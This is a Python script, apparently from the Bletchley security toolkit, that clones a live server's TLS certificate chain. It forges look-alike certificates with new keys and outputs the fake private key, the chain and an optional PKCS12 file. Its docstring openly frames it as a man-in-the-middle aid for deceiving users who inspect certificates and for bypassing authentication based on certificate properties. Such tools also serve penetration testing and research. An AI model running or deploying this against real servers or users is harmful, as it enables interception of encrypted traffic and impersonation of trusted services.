[72] | 1 | #!/usr/bin/env python3 |
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[73] | 2 | #-*- mode: Python;-*- |
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| 3 | # |
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[72] | 4 | # Requires Python 3+ |
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| 5 | |
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[73] | 6 | |
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[72] | 7 | ''' |
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| 8 | An experimental script which attempts to clone a server certificate's entire |
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| 9 | certificate chain, ideally altering only the keys and signatures along the |
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| 10 | way. |
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| 11 | |
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| 12 | This is useful in a few man-in-the-middle attack situations, including: |
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| 13 | - You swap out certificates on a user and the manually inspect the certificate |
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| 14 | properties before accepting them. Identical properties are more convincing. |
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| 15 | |
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| 16 | - A product includes special-purpose certificate properties that are validated |
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| 17 | with custom procedures (e.g. client user name, product serial number, ...). |
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| 18 | If these properties are validated but the certificate's CA isn't, then cloning |
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| 19 | the full set of certificate properties is essential to bypass the |
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| 20 | authentication. |
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| 21 | |
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| 22 | Currently, this script is somewhat limited and buggy, but will hopefully |
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| 23 | improve over time. Patches welcome! |
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| 24 | |
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| 25 | |
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[87] | 26 | Copyright (C) 2014,2016 Blindspot Security LLC |
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[72] | 27 | Author: Timothy D. Morgan |
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| 28 | |
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| 29 | This program is free software: you can redistribute it and/or modify |
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| 30 | it under the terms of the GNU Lesser General Public License, version 3, |
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| 31 | as published by the Free Software Foundation. |
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| 32 | |
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| 33 | This program is distributed in the hope that it will be useful, |
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| 34 | but WITHOUT ANY WARRANTY; without even the implied warranty of |
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| 35 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
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| 36 | GNU General Public License for more details. |
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| 37 | |
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| 38 | You should have received a copy of the GNU General Public License |
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| 39 | along with this program. If not, see <http://www.gnu.org/licenses/>. |
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| 40 | ''' |
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| 41 | |
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| 42 | import sys |
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| 43 | import argparse |
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| 44 | import traceback |
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| 45 | import socket |
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[87] | 46 | from bletchley import ssltls |
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[72] | 47 | try: |
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| 48 | import OpenSSL |
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| 49 | from OpenSSL import SSL |
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| 50 | except: |
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| 51 | sys.stderr.write('ERROR: Could not locate pyOpenSSL module. Under Debian-based systems, try:\n') |
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| 52 | sys.stderr.write(' # apt-get install python3-openssl\n') |
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| 53 | sys.stderr.write('NOTE: pyOpenSSL version 0.14 or later is required!\n') |
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| 54 | sys.exit(2) |
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| 55 | |
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| 56 | |
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| 57 | parser = argparse.ArgumentParser( |
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| 58 | description="An experimental script which attempts to clone an SSL server's" |
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| 59 | " entire certificate chain, ideally altering only the keys and signatures" |
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[73] | 60 | " along the way. The script prints results to stdout, starting with a PKCS7 (PEM)" |
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[72] | 61 | " key (the fake server private key) followed by the newly forged certificate" |
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| 62 | " chain, also in PEM format. (The new intermediate and root private keys are" |
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[73] | 63 | " not currently printed, but will likely be somehow available in a future" |
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[72] | 64 | " version.)") |
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| 65 | |
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| 66 | parser.add_argument('host', nargs=1, default=None, |
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| 67 | help='IP address or host name of server') |
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[73] | 68 | parser.add_argument('port', nargs='?', type=int, default=443, |
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[72] | 69 | help='TCP port number of SSL service (default: 443)') |
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[73] | 70 | parser.add_argument( |
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| 71 | '--p12', dest='p12_filename', type=str, required=False, default=None, |
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| 72 | help='If specified, a PKCS12 file will be written with the generated certificates' |
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| 73 | ' and server key (in addition to normal PKCS7 output). NOTE: the file specified' |
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| 74 | ' will be overwritten without prompting if it already exists.') |
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| 75 | parser.add_argument( |
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| 76 | '--p12password', dest='p12_password', type=str, required=False, default='bletchley', |
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| 77 | help='If specified along with the --p12 argument, the PKCS12 file will use this password' |
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| 78 | ' to encrypt the server private key. (Otherwise, the password "bletchley" is used).') |
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[72] | 79 | options = parser.parse_args() |
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| 80 | |
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| 81 | #print("REAL CHAIN:") |
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[87] | 82 | connection = ssltls.ConnectSSLTLS(options.host[0],options.port) |
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| 83 | chain = ssltls.fetchCertificateChain(connection) |
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[72] | 84 | #for c in chain: |
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| 85 | # print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8')) |
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| 86 | |
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| 87 | #chain = normalizeCertificateChain(chain) |
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| 88 | #for c in chain: |
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| 89 | # print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8')) |
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| 90 | |
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| 91 | #print("FAKE KEY AND CHAIN:") |
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[74] | 92 | if not chain: |
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| 93 | sys.stderr.write("ERROR: Could not retrieve server certificate\n\n") |
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| 94 | sys.exit(2) |
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| 95 | |
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[87] | 96 | fake_key, fake_chain = ssltls.genFakeCertificateChain(chain) |
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[72] | 97 | print(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, fake_key).decode('utf-8')) |
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| 98 | for c in fake_chain: |
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| 99 | print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8')) |
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[73] | 100 | |
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| 101 | if options.p12_filename: |
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| 102 | p12_file = open(options.p12_filename, 'w+b') |
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| 103 | |
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| 104 | p12 = OpenSSL.crypto.PKCS12() |
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| 105 | p12.set_ca_certificates(fake_chain[1:]) |
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| 106 | p12.set_privatekey(fake_key) |
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| 107 | p12.set_certificate(fake_chain[0]) |
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| 108 | |
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| 109 | p12_file.write(p12.export(passphrase=options.p12_password.encode('utf-8'))) |
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| 110 | p12_file.close() |
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